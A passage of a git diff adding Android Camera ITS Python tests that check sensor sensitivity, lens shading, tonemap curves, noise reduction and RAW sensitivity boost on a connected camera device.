+          e_msg = '%s ZSL: %.3f, MIN: %.3f, TOL: %.3f' % (
+              COLORS[j], snrs[j][NR_MODES['ZSL']], snrs[j][NR_MODES['MIN']],
+              SNR_TOLERANCE)
+          assert np.isclose(snrs[j][NR_MODES['ZSL']], snrs[j][NR_MODES['MIN']],
+                            atol=SNR_TOLERANCE), e_msg
+      elif camera_properties_utils.noise_reduction_mode(props, NR_MODES['ZSL']):
+        # Verify ZSL is close to OFF
+        e_msg = '%s OFF: %.3f, ZSL: %.3f, TOL: %.3f' % (
+            COLORS[j], snrs[j][NR_MODES['OFF']], snrs[j][NR_MODES['ZSL']],
+            SNR_TOLERANCE)
+        assert np.isclose(snrs[j][NR_MODES['ZSL']], snrs[j][NR_MODES['OFF']],
+                          atol=SNR_TOLERANCE), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_2/scene1_2.pdf b/apps/CameraITS2.0/tests/scene1_2/scene1_2.pdf
new file mode 100644
index 0000000..7e47bcf
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/scene1_2.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf
new file mode 100644
index 0000000..4bf85ee
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.5x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf
new file mode 100644
index 0000000..a9a2fbc
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/scene1_2_0.67x_scaled.pdf
Binary files differ
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_param_sensitivity.py b/apps/CameraITS2.0/tests/scene1_2/test_param_sensitivity.py
new file mode 100644
index 0000000..7308801
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_param_sensitivity.py
@@ -0,0 +1,118 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+COLORS = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_STEPS = 5
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
+
+
+class ParamSensitivityTest(its_base_test.ItsBaseTest):
+  """Test that the android.sensor.sensitivity parameter is applied."""
+
+  def test_param_sensitivity(self):
+    logging.debug('Starting %s', NAME)
+    sensitivities = None
+    r_means = []
+    g_means = []
+    b_means = []
+
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
+
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Initialize requests
+      sync_latency = camera_properties_utils.sync_latency(props)
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+
+      expt, _ = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midSensitivity']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      sens_step = (sens_range[1] - sens_range[0]) / float(NUM_STEPS-1)
+      sensitivities = [
+          sens_range[0] + i * sens_step for i in range(NUM_STEPS)]
+
+      for s in sensitivities:
+        logging.debug('Capturing with sensitivity: %d', s)
+        req = capture_request_utils.manual_capture_request(s, expt)
+        cap = its_session_utils.do_capture_with_latency(
+            cam, req, sync_latency, fmt)
+        img = image_processing_utils.convert_capture_to_rgb_image(cap)
+        image_processing_utils.write_image(img, '%s_iso=%04d.jpg' % (
+            os.path.join(log_path, NAME), s))
+        patch = image_processing_utils.get_image_patch(
+            img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+        rgb_means = image_processing_utils.compute_image_means(patch)
+        r_means.append(rgb_means[0])
+        g_means.append(rgb_means[1])
+        b_means.append(rgb_means[2])
+
+    logging.debug('R means: %s', str(r_means))
+    logging.debug('G means: %s', str(g_means))
+    logging.debug('B means: %s', str(b_means))
+
+    # Draw plot
+    pylab.figure(NAME)
+    pylab.plot(sensitivities, r_means, '-ro')
+    pylab.plot(sensitivities, g_means, '-go')
+    pylab.plot(sensitivities, b_means, '-bo')
+    pylab.ylim([0, 1])
+    pylab.title(NAME)
+    pylab.xlabel('Gain (ISO)')
+    pylab.ylabel('RGB means')
+    matplotlib.pyplot.savefig(
+        '%s_plot_means.png' % os.path.join(log_path, NAME))
+
+    # Test for pass/fail: check that each shot is brighter than previous
+    for i, means in enumerate([r_means, g_means, b_means]):
+      for j in range(len(means)-1):
+        e_msg = '%s cap %d mean[j+1]: %.3f, means[j]: %3.f' % (
+            COLORS[i], j, means[j+1], means[j])
+        assert means[j+1] > means[j], e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
+
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_param_shading_mode.py b/apps/CameraITS2.0/tests/scene1_2/test_param_shading_mode.py
new file mode 100644
index 0000000..a39fcd4
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_param_shading_mode.py
@@ -0,0 +1,182 @@
+# Copyright 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import its_session_utils
+
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_FRAMES = 4  # number of frames for temporal info to settle
+_NUM_SWITCH_LOOPS = 3
+_SHADING_MODES = {0: 'LSC_OFF', 1: 'LSC_FAST', 2: 'LSC_HQ'}
+_NUM_SHADING_MODES = len(_SHADING_MODES)
+_THRESHOLD_DIFF_RATIO = 0.15
+
+
+def create_plots(shading_maps, reference_maps, num_map_gains, log_path):
+  """Create 2 panel plot from data."""
+  for mode in range(_NUM_SHADING_MODES):
+    for i in range(_NUM_SWITCH_LOOPS):
+      pylab.clf()
+      pylab.figure(figsize=(5, 5))
+      pylab.subplot(2, 1, 1)
+      pylab.plot(range(num_map_gains), shading_maps[mode][i], '-r.',
+                 label='shading', alpha=0.7)
+      pylab.plot(range(num_map_gains), reference_maps[mode], '-g.',
+                 label='ref', alpha=0.7)
+      pylab.xlim([0, num_map_gains])
+      pylab.ylim([0.9, 4.0])
+      name_suffix = 'ls_maps_mode_%d_loop_%d' % (mode, i)
+      pylab.title('%s_%s' % (_NAME, name_suffix))
+      pylab.xlabel('Map gains')
+      pylab.ylabel('Lens shading maps')
+      pylab.legend(loc='upper center', numpoints=1, fancybox=True)
+
+      pylab.subplot(2, 1, 2)
+      shading_ref_ratio = np.divide(
+          shading_maps[mode][i], reference_maps[mode])
+      pylab.plot(range(num_map_gains), shading_ref_ratio, '-b.', clip_on=False)
+      pylab.xlim([0, num_map_gains])
+      pylab.ylim([1.0-_THRESHOLD_DIFF_RATIO, 1.0+_THRESHOLD_DIFF_RATIO])
+      pylab.title('Shading/reference Maps Ratio vs Gain')
+      pylab.xlabel('Map gains')
+      pylab.ylabel('Shading/reference maps ratio')
+
+      pylab.tight_layout()
+      matplotlib.pyplot.savefig(
+          f'{os.path.join(log_path, _NAME)}_{name_suffix}.png')
+
+
+class ParamShadingModeTest(its_base_test.ItsBaseTest):
+  """Test that the android.shading.mode param is applied.
+
+  Switches shading modes and checks that the lens shading maps are
+  modified as expected.
+
+  Lens shading correction modes are OFF=0, FAST=1, and HQ=2.
+
+  Uses smallest yuv size matching the aspect ratio of largest yuv size to
+  reduce some USB bandwidth overhead since we are only looking at output
+  metadata in this test.
+
+  First asserts all modes are supported. Then runs 2 captures.
+
+  cap1: switches shading modes several times and gets reference maps
+  cap2: gets the lens shading maps while switching modes in 1 session
+
+  Creates plots of reference maps and shading maps.
+
+  Asserts proper behavior:
+    1. Lens shading maps with OFF are all 1.0
+    2. Lens shading maps with FAST are similar after switching shading modes
+    3. Lens shading maps with HQ are similar after switching shading modes.
+  """
+
+  def test_param_shading_mode(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.per_frame_control(props) and
+          camera_properties_utils.lsc_map(props) and
+          camera_properties_utils.lsc_off(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # lsc devices support all modes
+      if set(props.get('android.shading.availableModes')) != set(
+          _SHADING_MODES.keys()):
+        raise KeyError('Available modes: %s, SHADING_MODEs: %s.'
+                       % str(props.get('android.shading.availableModes')),
+                       [*_SHADING_MODES])
+
+      # get smallest matching fmt
+      mono_camera = camera_properties_utils.mono_camera(props)
+      cam.do_3a(mono_camera=mono_camera)
+      largest_yuv_fmt = capture_request_utils.get_largest_yuv_format(props)
+      largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height'])
+      cap_fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=largest_yuv_size)
+
+      # cap1
+      reference_maps = [[] for mode in range(_NUM_SHADING_MODES)]
+      num_map_gains = 0
+      for mode in range(1, _NUM_SHADING_MODES):
+        req = capture_request_utils.auto_capture_request()
+        req['android.statistics.lensShadingMapMode'] = 1
+        req['android.shading.mode'] = mode
+        cap_res = cam.do_capture(
+            [req]*_NUM_FRAMES, cap_fmt)[_NUM_FRAMES-1]['metadata']
+        lsc_map = cap_res['android.statistics.lensShadingCorrectionMap']
+        if not lsc_map.get('width') or not lsc_map.get('height'):
+          raise KeyError('width or height not in LSC map.')
+        if mode == 1:
+          num_map_gains = lsc_map['width'] * lsc_map['height'] * 4
+          reference_maps[0] = [1.0] * num_map_gains
+        reference_maps[mode] = lsc_map['map']
+
+      # cap2
+      reqs = []
+      for i in range(_NUM_SWITCH_LOOPS):
+        for mode in range(_NUM_SHADING_MODES):
+          for _ in range(_NUM_FRAMES):
+            req = capture_request_utils.auto_capture_request()
+            req['android.statistics.lensShadingMapMode'] = 1
+            req['android.shading.mode'] = mode
+            reqs.append(req)
+      caps = cam.do_capture(reqs, cap_fmt)
+
+      # Populate shading maps from cap2 results
+      shading_maps = [[[] for loop in range(_NUM_SWITCH_LOOPS)]
+                      for mode in range(_NUM_SHADING_MODES)]
+      for i in range(len(caps)//_NUM_FRAMES):
+        shading_maps[i%_NUM_SHADING_MODES][i//_NUM_SWITCH_LOOPS] = caps[
+            (i+1)*_NUM_FRAMES-1]['metadata'][
+                'android.statistics.lensShadingCorrectionMap']['map']
+
+      # Plot the shading and reference maps
+      create_plots(shading_maps, reference_maps, num_map_gains, log_path)
+
+      # Assert proper behavior
+      for mode in range(_NUM_SHADING_MODES):
+        if mode == 0:
+          logging.debug('Verifying lens shading maps with mode %s are all 1.0',
+                        _SHADING_MODES[mode])
+        else:
+          logging.debug('Verifying lens shading maps with mode %s are similar',
+                        _SHADING_MODES[mode])
+        for i in range(_NUM_SWITCH_LOOPS):
+          if not (np.allclose(shading_maps[mode][i], reference_maps[mode],
+                              rtol=_THRESHOLD_DIFF_RATIO)):
+            raise AssertionError(f'FAIL mode: {_SHADING_MODES[mode]}, '
+                                 f'loop: {i}, THRESH: {_THRESHOLD_DIFF_RATIO}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_param_tonemap_mode.py b/apps/CameraITS2.0/tests/scene1_2/test_param_tonemap_mode.py
new file mode 100644
index 0000000..4c487df
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_param_tonemap_mode.py
@@ -0,0 +1,151 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+_COLORS = ('R', 'G', 'B')
+_L_TMAP = 32
+_MAX_RGB_MEANS_DIFF = 0.05  # max RBG means diff for same tonemaps
+_MIN_RGB_RATIO_DIFF = 0.1  # min RGB ratio diff for different tonemaps
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_COLORS = len(_COLORS)
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+
+
+def compute_means_and_save(cap, img_name):
+  """Compute the RGB means of a capture and save image.
+
+  Args:
+    cap: 'YUV' or 'JPEG' capture.
+    img_name: text for saved image name.
+
+  Returns:
+    RGB means.
+  """
+  img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  image_processing_utils.write_image(img, img_name)
+  patch = image_processing_utils.get_image_patch(
+      img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  rgb_means = image_processing_utils.compute_image_means(patch)
+  logging.debug('RGB means: %s', str(rgb_means))
+  return rgb_means
+
+
+class ParamTonemapModeTest(its_base_test.ItsBaseTest):
+  """Test that android.tonemap.mode param is applied.
+
+  Applies different tonemap curves to each R,G,B channel, and checks that the
+  output images are modified as expected.
+
+  The HAL3.2 spec requires curves up to l=64 control pts must be supported.
+
+  Test #1: test tonemap curves have expected effect.
+  Take two shots where each has a linear tonemap, with the 2nd shot having a
+  steeper gradient. The gradient for each R,G,B channel increases.
+  i.e. R[n=1] should be brighter than R[n=0], and G[n=1] should be brighter
+  than G[n=0] by a larger margin, etc.
+
+  Test #2: length of tonemap curve (i.e. num of pts) has no effect
+  Take two shots with tonemap curve of length _L_TMAP and _L_TMAP*2
+  The two shots should be the same.
+  """
+
+  def test_param_tonemap_mode(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Determine format, exposure and gain for requests
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      exp, sens = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      exp //= 2
+
+      # Test 1
+      means_1 = []
+      for n in [0, 1]:
+        req = capture_request_utils.manual_capture_request(sens, exp)
+        req['android.tonemap.mode'] = 0
+        req['android.tonemap.curve'] = {
+            'red': sum([[i/(_L_TMAP-1), min(1.0, (1+0.5*n)*i/(_L_TMAP-1))]
+                        for i in range(_L_TMAP)], []),
+            'green': sum([[i/(_L_TMAP-1), min(1.0, (1+1.0*n)*i/(_L_TMAP-1))]
+                          for i in range(_L_TMAP)], []),
+            'blue': sum([[i/(_L_TMAP-1), min(1.0, (1+1.5*n)*i/(_L_TMAP-1))]
+                         for i in range(_L_TMAP)], [])}
+        cap = cam.do_capture(req, fmt)
+        img_name = '%s_n=%d.jpg' % (os.path.join(log_path, _NAME), n)
+        means_1.append(compute_means_and_save(cap, img_name))
+      rgb_ratios = [means_1[1][i]/means_1[0][i] for i in range(_NUM_COLORS)]
+      logging.debug('Test 1: RGB ratios: %s', str(rgb_ratios))
+
+      # assert proper behavior
+      for i in range(_NUM_COLORS-1):
+        if rgb_ratios[i+1]-rgb_ratios[i] < _MIN_RGB_RATIO_DIFF:
+          raise AssertionError(
+              f'RGB ratios {i+1}: {rgb_ratios[i+1]}.4f, {i}: '
+              f'{rgb_ratios[i]}.4f, ATOL: {_MIN_RGB_RATIO_DIFF}')
+
+      # Test 2
+      means_2 = []
+      for size in [_L_TMAP, 2*_L_TMAP]:
+        tonemap_curve = sum([[i/(size-1)]*2 for i in range(size)], [])
+        req = capture_request_utils.manual_capture_request(sens, exp)
+        req['android.tonemap.mode'] = 0
+        req['android.tonemap.curve'] = {'red': tonemap_curve,
+                                        'green': tonemap_curve,
+                                        'blue': tonemap_curve}
+        cap = cam.do_capture(req)
+        img_name = '%s_size=%02d.jpg' % (os.path.join(log_path, _NAME), size)
+        means_2.append(compute_means_and_save(cap, img_name))
+
+      rgb_diffs = [means_2[1][i] - means_2[0][i] for i in range(_NUM_COLORS)]
+      logging.debug('Test 2: RGB diffs: %s', str(rgb_diffs))
+
+      # assert proper behavior
+      for i, ch in enumerate(_COLORS):
+        if abs(rgb_diffs[i]) > _MAX_RGB_MEANS_DIFF:
+          raise AssertionError(f'{ch} rgb_diffs: {rgb_diffs[i]}.4f, '
+                               f'THRESH: {_MAX_RGB_MEANS_DIFF}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_post_raw_sensitivity_boost.py b/apps/CameraITS2.0/tests/scene1_2/test_post_raw_sensitivity_boost.py
new file mode 100644
index 0000000..2e9d026
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_post_raw_sensitivity_boost.py
@@ -0,0 +1,211 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import error_util
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+_COLORS = ('R', 'G', 'B')
+_MAX_YUV_SIZE = (1920, 1080)
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RATIO_TOL = 0.1  # +/-10% TOL on images vs expected values
+_RAW_PIXEL_THRESH = 0.03  # Waive check if RAW [0, 1] value below this thresh
+
+
+def create_requests(cam, props, log_path):
+  """Create the requests and settings lists."""
+  w, h = capture_request_utils.get_available_output_sizes(
+      'yuv', props, _MAX_YUV_SIZE)[0]
+
+  if camera_properties_utils.raw16(props):
+    raw_format = 'raw'
+  elif camera_properties_utils.raw10(props):
+    raw_format = 'raw10'
+  elif camera_properties_utils.raw12(props):
+    raw_format = 'raw12'
+  else:  # should not reach here
+    raise error_util.Error('Cannot find available RAW output format')
+
+  out_surfaces = [{'format': raw_format},
+                  {'format': 'yuv', 'width': w, 'height': h}]
+  sens_min, sens_max = props['android.sensor.info.sensitivityRange']
+  sens_boost_min, sens_boost_max = props[
+      'android.control.postRawSensitivityBoostRange']
+  exp_target, sens_target = target_exposure_utils.get_target_exposure_combos(
+      log_path, cam)['midSensitivity']
+
+  reqs = []
+  settings = []
+  sens_boost = sens_boost_min
+  while sens_boost <= sens_boost_max:
+    sens_raw = int(round(sens_target * 100.0 / sens_boost))
+    if sens_raw < sens_min or sens_raw > sens_max:
+      break
+    req = capture_request_utils.manual_capture_request(sens_raw, exp_target)
+    req['android.control.postRawSensitivityBoost'] = sens_boost
+    reqs.append(req)
+    settings.append((sens_raw, sens_boost))
+    if sens_boost == sens_boost_max:
+      break
+    sens_boost *= 2
+    # Always try to test maximum sensitivity boost value
+    if sens_boost > sens_boost_max:
+      sens_boost = sens_boost_max
+
+  return settings, reqs, out_surfaces
+
+
+def compute_patch_means(cap, props, file_name):
+  """Compute the RGB means for center patch of capture."""
+
+  rgb_img = image_processing_utils.convert_capture_to_rgb_image(
+      cap, props=props)
+  patch = image_processing_utils.get_image_patch(
+      rgb_img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  image_processing_utils.write_image(patch, file_name)
+  return image_processing_utils.compute_image_means(patch)
+
+
+def create_plots(idx, raw_means, yuv_means, log_path):
+  """Create plots from data.
+
+  Args:
+    idx: capture request indices for x-axis.
+    raw_means: array of RAW capture RGB converted means.
+    yuv_means: array of YUV capture RGB converted means.
+    log_path: path to save files.
+  """
+
+  pylab.clf()
+  for i, _ in enumerate(_COLORS):
+    pylab.plot(idx, [ch[i] for ch in yuv_means], '-'+'rgb'[i]+'s', label='YUV',
+               alpha=0.7)
+    pylab.plot(idx, [ch[i] for ch in raw_means], '-'+'rgb'[i]+'o', label='RAW',
+               alpha=0.7)
+  pylab.ylim([0, 1])
+  pylab.title('%s' % _NAME)
+  pylab.xlabel('requests')
+  pylab.ylabel('RGB means')
+  pylab.legend(loc='lower right', numpoints=1, fancybox=True)
+  matplotlib.pyplot.savefig('%s_plot_means.png' % os.path.join(log_path, _NAME))
+
+
+class PostRawSensitivityBoost(its_base_test.ItsBaseTest):
+  """Check post RAW sensitivity boost.
+
+  Captures a set of RAW/YUV images with different sensitivity/post RAW
+  sensitivity boost combination and checks if output means match req settings
+
+  RAW images should get brighter. YUV images should stay about the same.
+    asserts RAW is ~2x brighter per step
+    asserts YUV is about the same per step
+  """
+
+  def test_post_raw_sensitivity_boost(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw_output(props) and
+          camera_properties_utils.post_raw_sensitivity_boost(props) and
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create reqs & do caps
+      settings, reqs, out_surfaces = create_requests(cam, props, log_path)
+      raw_caps, yuv_caps = cam.do_capture(reqs, out_surfaces)
+      if not isinstance(raw_caps, list):
+        raw_caps = [raw_caps]
+      if not isinstance(yuv_caps, list):
+        yuv_caps = [yuv_caps]
+
+      # Extract data
+      raw_means = []
+      yuv_means = []
+      for i in range(len(reqs)):
+        sens, sens_boost = settings[i]
+        raw_file_name = '%s_raw_s=%04d_boost=%04d.jpg' % (
+            os.path.join(log_path, _NAME), sens, sens_boost)
+        raw_means.append(compute_patch_means(raw_caps[i], props, raw_file_name))
+
+        yuv_file_name = '%s_yuv_s=%04d_boost=%04d.jpg' % (
+            os.path.join(log_path, _NAME), sens, sens_boost)
+        yuv_means.append(compute_patch_means(yuv_caps[i], props, yuv_file_name))
+
+        logging.debug('s=%d, s_boost=%d: raw_means %s, yuv_means %s',
+                      sens, sens_boost, str(raw_means[-1]), str(yuv_means[-1]))
+      cap_idxs = range(len(reqs))
+
+      # Create plots
+      create_plots(cap_idxs, raw_means, yuv_means, log_path)
+
+      # RAW asserts
+      for step in range(1, len(reqs)):
+        sens_prev, _ = settings[step - 1]
+        sens, sens_boost = settings[step]
+        expected_ratio = sens_prev / sens
+        for ch, _ in enumerate(_COLORS):
+          ratio_per_step = raw_means[step-1][ch] / raw_means[step][ch]
+          logging.debug('Step: (%d, %d) %s channel: (%f, %f), ratio: %f,',
+                        step - 1, step, _COLORS[ch], raw_means[step - 1][ch],
+                        raw_means[step][ch], ratio_per_step)
+          if raw_means[step][ch] <= _RAW_PIXEL_THRESH:
+            continue
+          if not np.isclose(ratio_per_step, expected_ratio, atol=_RATIO_TOL):
+            raise AssertionError(
+                f'step: {step}, ratio: {ratio_per_step}, expected ratio: '
+                f'{expected_ratio}.3f, ATOL: {_RATIO_TOL}')
+
+      # YUV asserts
+      for ch, _ in enumerate(_COLORS):
+        vals = [val[ch] for val in yuv_means]
+        for idx in cap_idxs:
+          if raw_means[idx][ch] <= _RAW_PIXEL_THRESH:
+            vals = vals[:idx]
+        mean = sum(vals) / len(vals)
+        logging.debug('%s channel vals %s mean %f', _COLORS[ch], vals, mean)
+        for step in range(len(vals)):
+          ratio_mean = vals[step] / mean
+          if not np.isclose(1.0, ratio_mean, atol=_RATIO_TOL):
+            raise AssertionError(
+                f'Capture vs mean ratio: {ratio_mean}, TOL: +/- {_RATIO_TOL}')
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS2.0/tests/scene1_2/test_raw_burst_sensitivity.py b/apps/CameraITS2.0/tests/scene1_2/test_raw_burst_sensitivity.py
new file mode 100644
index 0000000..8a58f6f
--- /dev/null
+++ b/apps/CameraITS2.0/tests/scene1_2/test_raw_burst_sensitivity.py
@@ -0,0 +1,136 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import os.path
+import matplotlib
+from matplotlib import pylab
+from mobly import test_runner
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_GR_PLANE_IDX = 1  # GR plane index in RGGB data
+_IMG_STATS_GRID = 9  # find used to find the center 11.11%
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_STEPS = 5
+_VAR_THRESH = 1.01  # each shot must be 1% noisier than previous
+
+
+def define_raw_stats_fmt(props):
+  """Defines the format using camera props active array width and height."""
+  aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+  aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+  aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right'] - aax
+  aah = props[
+      'android.sensor.info.preCorrectionActiveArraySize']['bottom'] - aay
+
+  return {'format': 'rawStats',
+          'gridWidth': aaw // _IMG_STATS_GRID,
+          'gridHeight': aah // _IMG_STATS_GRID}
+
+
+class RawSensitivityBurstTest(its_base_test.ItsBaseTest):
+  """Captures a set of RAW images with increasing sensitivity & measures noise.
+
+  Sensitivity range (gain) is determined from camera properties and limited to
+  the analog sensitivity range as captures are RAW only in a burst. Digital
+  sensitivity range from props['android.sensor.info.sensitivityRange'] is not
+  used.
+
+  Uses RawStats capture format to speed up processing. RawStats defines a grid
+  over the RAW image and returns average and variance of requested areas.
+  white_level is found from camera to normalize variance values from RawStats.
+
+  Noise (image variance) of center patch should increase with increasing
+  sensitivity.
+  """
+
+  def test_raw_sensitivity_burst(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Find sensitivity range and create capture requests
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      sens_max = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max - sens_min) // _NUM_STEPS
